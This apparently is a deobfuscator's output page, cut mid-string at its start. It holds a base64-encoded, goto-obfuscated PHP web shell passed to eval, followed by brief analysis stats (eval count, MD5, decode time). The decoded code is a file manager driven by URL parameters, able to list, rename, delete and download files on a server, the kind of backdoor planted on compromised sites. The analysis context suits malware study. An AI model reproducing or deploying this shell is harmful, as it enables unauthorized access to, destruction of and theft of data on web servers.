3MFx4NmNcMTQxXDE0M1x4NjVcMTU1XDE0NVx4NmVceDc0XHgzZFx4MjJcMTQxXHg3NVwxNjRceDZmXDQyXDQwXHg3NFwxNTFceDc0XHg2Y1x4NjVcNzVcNDJcMTA1XHg2NFx4NjlceDc0XDQyXDc2XHg0NVx4NjRceDY5XDE2NFx4M2NcNTdcMTQxXHgzZVw3NFx4MmZceDc0XHg2NFx4M2VcMTJceDNjXDE2NFwxNDRcNzZceDNjXDE0MVx4MjBceDY4XDE2Mlx4NjVceDY2XHgzZFw0Mlx4M2ZcMTYwXHgzZCIgLiBzcygkSmQpIC4gIlx4MjZcMTQxXHgzZCIgLiBTUygiXHg3Mlx4NjVceDZlXDE0MVx4NmRceDY1IikgLiAiXHgyNlx4NmVcNzUiIC4gc3MoJEYxKSAuICJcNDZcMTY0XDc1XHg2Nlw0Mlw0MFwxNDRceDYxXDE2NFwxNDFceDJkXHg3NFwxNTdcMTQ3XHg2N1wxNTRcMTQ1XDc1XDQyXDE2NFx4NmZceDZmXHg2Y1x4NzRceDY5XDE2MFx4MjJcNDBceDY0XDE0MVwxNjRcMTQxXHgyZFx4NzBceDZjXHg2MVwxNDNcMTQ1XDE1NVwxNDVcMTU2XHg3NFw3NVw0MlwxNDFceDc1XDE2NFx4NmZcNDJceDIwXDE2NFwxNTFcMTY0XHg2Y1wxNDVceDNkXHgyMlx4NTJcMTQ1XDE1NlwxNDFcMTU1XDE0NVx4MjJceDNlXDEyMlwxNDVcMTU2XHg2MVx4NmRcMTQ1XHgzY1w1N1x4NjFceDNlXDc0XHgyZlwxNjRcMTQ0XDc2XHhhXDc0XHg3NFx4NjRceDNlXHgzY1x4NjFcNDBcMTUwXHg3Mlx4NjVceDY2XDc1XHgyMlx4M2ZceDcwXDc1IiAuIHNzKCRKZCkgLiAiXDQ2XHg2MVx4M2QiIC4gc1MoIlwxNDRceDY1XDE1NFwxNDVcMTY0XHg2NSIpIC4gIlx4MjZcMTU2XDc1IiAuIHNzKCRGMSkgLiAiXDQyXHgyMFx4NjNcMTU0XHg2MVx4NzNceDczXDc1XHgyMlwxNDRcMTQ1XHg2Y1wxNDVceDc0XHg2NVw0Mlw0MFwxNDRcMTQxXHg3NFx4NjFcNTVcMTY0XHg3OVx4NzBceDY1XHgzZFw0MlwxNDZcMTUxXHg2Y1wxNDVceDIyXHgyMFwxNDRceDYxXDE2NFx4NjFcNTVceDc0XHg2Zlx4NjdceDY3XHg2Y1x4NjVcNzVcNDJcMTY0XHg2ZlwxNTdcMTU0XHg3NFwxNTFcMTYwXDQyXHgyMFwxNDRcMTQxXHg3NFwxNDFceDJkXDE2MFwxNTRcMTQxXHg2M1wxNDVceDZkXHg2NVx4NmVcMTY0XHgzZFw0Mlx4NjFcMTY1XHg3NFx4NmZcNDJceDIwXHg3NFwxNTFcMTY0XHg2Y1x4NjVcNzVceDIyXDEwNFwxNDVcMTU0XDE0NVwxNjRceDY1XDQyXHgzZVwxMDRceDY1XDE1NFwxNDVcMTY0XHg2NVx4M2NcNTdceDYxXDc2XDc0XHgyZlwxNjRcMTQ0XDc2XDEyXHgzY1w1N1wxNjRceDcyXHgzZSI7IFgxOiB9IGdvdG8gZDhFN1g7IFkzT3ZQOiAkYzggPSBhcnJheSgiXDY3XHgzMFw2Nlw3MFx4MzdceDMwXHgzNVwxNDZcNjdcNjVcNjZcMTQ1XDY2XDYxXHgzNlx4NjRceDM2XHgzNSIsICJceDM3XHgzMFx4MzZceDM4XDY3XHgzMFx4MzdceDM2XHgzNlx4MzVcNjdceDMyXHgzN1w2M1w2Nlw3MVx4MzZceDY2XDY2XDE0NSIsICJcNjZcNjdceDM2XDY1XHgzN1x4MzRcNjZcNjNcNjdceDM3XHgzNlx4MzQiLCAiXDY2XHgzM1x4MzZcNzBceDM2XHgzNFw2Nlw3MVx4MzdcNjIiLCAiXHgzN1x4MzBcNjdcNjJceDM2XHgzNVx4MzZceDM3XHgzNVx4NjZcNjdcNjNcNjdceDMwXDY2XHg2M1w2Nlx4MzlceDM3XHgzNCIsICJcNjZceDMxXDY3XHgzMlx4MzdcNjJceDM2XHgzMVx4MzdceDM5XDY1XDE0Nlw2Nlx4MzRceDM2XDcxXDY2XHgzNlw2Nlw2NiIsICJceDM2XHgzOVw2N1w2M1w2NVx4NjZcNjZcNjRcNjZceDM5XDY3XHgzMiIsICJceDM2XDcxXDY3XDYzXDY1XDE0Nlx4MzZceDM2XHgzNlx4MzlcNjZceDYzXHgzNlx4MzUiLCAiXDY2XHgzOVx4MzdcNjNcNjVceDY2XDY3XDY3XDY3XDYyXDY2XHgzOVw2N1w2NFx4MzZceDMxXDY2XHgzMlx4MzZceDYzXHgzNlx4MzUiLCAiXDY2XHgzOVw2N1x4MzNceDM1XHg2Nlw2N1x4MzJcNjZceDM1XDY2XDYxXHgzNlw2NFx4MzZcNjFcNjZceDMyXDY2XDE0M1w2Nlx4MzUiLCAiXDY2XHgzNlx4MzZceDM5XDY2XDE0M1w2Nlw2NVx4MzdcNjNcNjZceDM5XDY3XHg2MVw2Nlx4MzUiLCAiXDY2XHgzM1w2NlwxNDZcNjdceDMwXDY3XHgzOSIsICJcNjZceDM2XDY2XDcxXDY2XDE0M1x4MzZceDM1XHgzNVwxNDZcNjZcNjVcNjdceDM4XDY2XHgzOVw2N1x4MzNceDM3XDY0XDY3XHgzMyIsICJcNjZcNjZcNjZcNzFcNjZcMTQzXHgzNlx4MzVceDM1XDE0Nlx4MzdceDMwXDY3XHgzNVx4MzdceDM0XHgzNVwxNDZceDM2XHgzM1w2NlwxNDZceDM2XDE0NVx4MzdceDM0XHgzNlw2NVw2NlwxNDVcNjdcNjRcNjdcNjMiLCAiXHgzNlx4MzZceDM2XDcxXHgzNlx4NjNcNjZceDM1XHgzNVwxNDZceDM2XDY3XHgzNlw2NVw2N1w2NFw2NVwxNDZcNjZceDMzXDY2XDE0Nlx4MzZceDY1XHgzN1x4MzRcNjZceDM1XHgzNlwxNDVcNjdceDM0XDY3XHgzMyIsICJceDM2XHg2NFx4MzZceDYyXHgzNlw2NFw2Nlx4MzlceDM3XHgzMiIsICJceDM3XHgzMlw2Nlx4MzVceDM2XDE0NVw2Nlw2MVx4MzZceDY0XDY2XHgzNSIsICJceDM3XDYzXDY3XHgzNFx4MzdceDMyXHgzN1w2NFx4MzZceDY2XHgzN1w2NFx4MzZceDM5XDY2XDE0NFw2Nlw2NSIsICJcNjZcNzBceDM3XHgzNFw2Nlx4NjRceDM2XHg2M1x4MzdceDMzXDY3XDYwXDY2XDY1XHgzNlw2M1x4MzZcNzFcNjZceDMxXDY2XHg2M1w2Nlw2M1w2Nlw3MFx4MzZceDMxXHgzN1w2Mlx4MzdcNjMiLCAiXDY2XHgzNFx4MzZceDMxXHgzN1x4MzRceDM2XDY1IiwgIlw2Nlw2Nlx4MzZcNzFceDM2XDE0M1w2Nlx4MzVceDM2XHg2NFw2N1x4MzRceDM2XHgzOVw2Nlx4NjRceDM2XDY1Iik7IGdvdG8gVWZSME07IHNoN3FlOiBlY2hvIEpkKCRfR0VUWyJceDZlIl0pOyBnb3RvIG82ZGZvOyBBY0YxMTogZWNobyBqRCgkX0dFVFsiXHg2ZSJdKTsgZ290byBOODZScDsgRDBtZzg6IEx3OiBnb3RvIFUxUDJ5OyBJS1FYTTogQ3k6IGdvdG8gSG9aTW07IFUzWGFCOiAkbEUgPSAwOyBnb3RvIFdfTHhqOyBwVFhLejogWGUoIlx4NjZceDY5XDE1NFx4NjVcNDBceDc0XDE1N1w0MFwxNDRceDY1XDE1NFwxNDVceDc0XHg2NVx4MjBcMTY0XHg2OFx4NjVceDIwXHg2NlwxNTdceDZjXDE0NFx4NjVcMTYyIiwgMCk7IGdvdG8gUkJiWEQ7IFpqaEpDOiBlY2hvIGpEKCRfR0VUWyJceDZlIl0pOyBnb3RvIGZEa05tOyBuSkNxNzogZHg6IGdvdG8geE14MW47IE1GOVlaOiBoZWFkZXIoIlx4NDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjRcNTVceDY0XDE1MVx4NzNceDcwXDE1N1wxNjNcMTUxXHg3NFwxNTFceDZmXDE1Nlx4M2FceDIwXDE0MVwxNjRceDc0XDE0MVwxNDNcMTUwXDE1NVwxNDVcMTU2XDE2NFx4M2JcNDBcMTQ2XHg2OVwxNTRcMTQ1XDE1Nlx4NjFcMTU1XHg2NVw3NVw0MiIgLiBqZCgkX0dFVFsiXDE1NiJdKSAuICJcNDIiKTsgZ290byB4SUtRdzsgbzA4QkY6IE1rOiBnb3RvIHBISXJJOyBzY2dwNDogPz4KIAo8L2xpPgo8L2Rpdj4KPGFydGljbGUgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtmb250LWZhbWlseTogJ0tlbGx5IFNsYWInO2ZvbnQtc2l6ZTogMXJlbTsiPgo8P3BocCAgZ290byBvQ2VNQzsgTUpqSWM6ID8+Cjx0YWJsZSBjbGFzcz0idGFibGUgdGFibGUtaG92ZXIgdGFibGUtYm9yZGVybGVzcyB0YWJsZS1zbSIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgo8dGhlYWQgY2xhc3M9InRleHQtbGlnaHQiPgo8dHI+Cjx0aD5OYW1lPC90aD4KPHRoPlNpemU8L3RoPgo8dGg+UGVybWlzc2lvbjwvdGg+Cjx0aCBjb2xzcGFuPSIzIj5BY3Rpb248L3RoPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbGlnaHQiPiA8P3BocCAgZ290byB5Ym5oRDsgVF9ObEw6ICRsRSsrOyBnb3RvIGZDb3BjOyBnWDdfMTogdUg6IGdvdG8gYm1ZdFY7IFJ1WDBiOiBUNDogZ290byBtRWluUTsgS3oycFQ6IFRGKCRCTCk7IGdvdG8gSHNOZmc7IFd1X2RSOiBhZDogZ290byBNbUE4bjsgQ0JkOHk6IGlmICghKCRfR0VUWyJcMTY0Il0gPT0gIlx4NjQiKSkgeyBnb3RvIFZaOyB9IGdvdG8gS3oycFQ7IEFNb0dwOiA/PgogCjwvYXJ0aWNsZT4KPHNjcmlwdCBzcmM9Ii8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjUuMS5zbGltLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA0LjYuMC9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiA+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSIvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2JzLWN1c3RvbS1maWxlLWlucHV0L2Rpc3QvYnMtY3VzdG9tLWZpbGUtaW5wdXQubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdD5ldmFsKGZ1bmN0aW9uKHAsYSxjLGssZSxkKXtlPWZ1bmN0aW9uKGMpe3JldHVybihjPGE/Jyc6ZShwYXJzZUludChjL2EpKSkrKChjPWMlYSk+MzU/U3RyaW5nLmZyb21DaGFyQ29kZShjKzI5KTpjLnRvU3RyaW5nKDM2KSl9O2lmKCEnJy5yZXBsYWNlKC9eLyxTdHJpbmcpKXt3aGlsZShjLS0pe2RbZShjKV09a1tjXXx8ZShjKX1rPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKXtpZihrW2NdKXtwPXAucmVwbGFjZShuZXcgUmVnRXhwKCdcXGInK2UoYykrJ1xcYicsJ2cnKSxrW2NdKX19cmV0dXJuIHB9KCdFLm4oKTskKFwnWzItbT0iNCJdXCcpLjQoKTskKCIubCIpLmsoaihlKXtlLmcoKTtoIDA9JCg2KS41KCIyLTAiKTtjKHtiOiJhIiw5OiJvIGkgcT8iLHc6IkQgIiswKyIgcCBDIEIiLEE6Nyx6OjcsfSkueSgoOCk9PntyKDgpe3ggMT0kKDYpLjUoIjMiKSsiJnQ9IisoKDA9PSJ2Iik/ImQiOiJmIik7dS5zLjM9MX19KX0pOycsNDEsNDEsJ3R5cGV8YnVpbGRVUkx8ZGF0YXxocmVmfHRvb2x0aXB8YXR0cnx0aGlzfHRydWV8d2lsbERlbGV0ZXx0aXRsZXx3YXJuaW5nfGljb258c3dhbHx8fHxwcmV2ZW50RGVmYXVsdHxsZXR8eW91fGZ1bmN0aW9ufGNsaWNrfGRlbGV0ZXx0b2dnbGV8aW5pdHxBcmV8d2lsbHxzdXJlfGlmfGxvY2F0aW9ufHxkb2N1bWVudHxmb2xkZXJ8dGV4dHxjb25zdHx0aGVufGRhbmdlck1vZGV8YnV0dG9uc3xkZWxldGVkfGJlfFRoaXN8YnNDdXN0b21GaWxlSW5wdXQnLnNwbGl0KCd8JyksMCx7fSkpPC9zY3JpcHQ+CjwvYm9keT4KPC9odG0=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 52cc7182ca82df6eb07619d24bbea71a
Eval Count 1
Decode Time 150 ms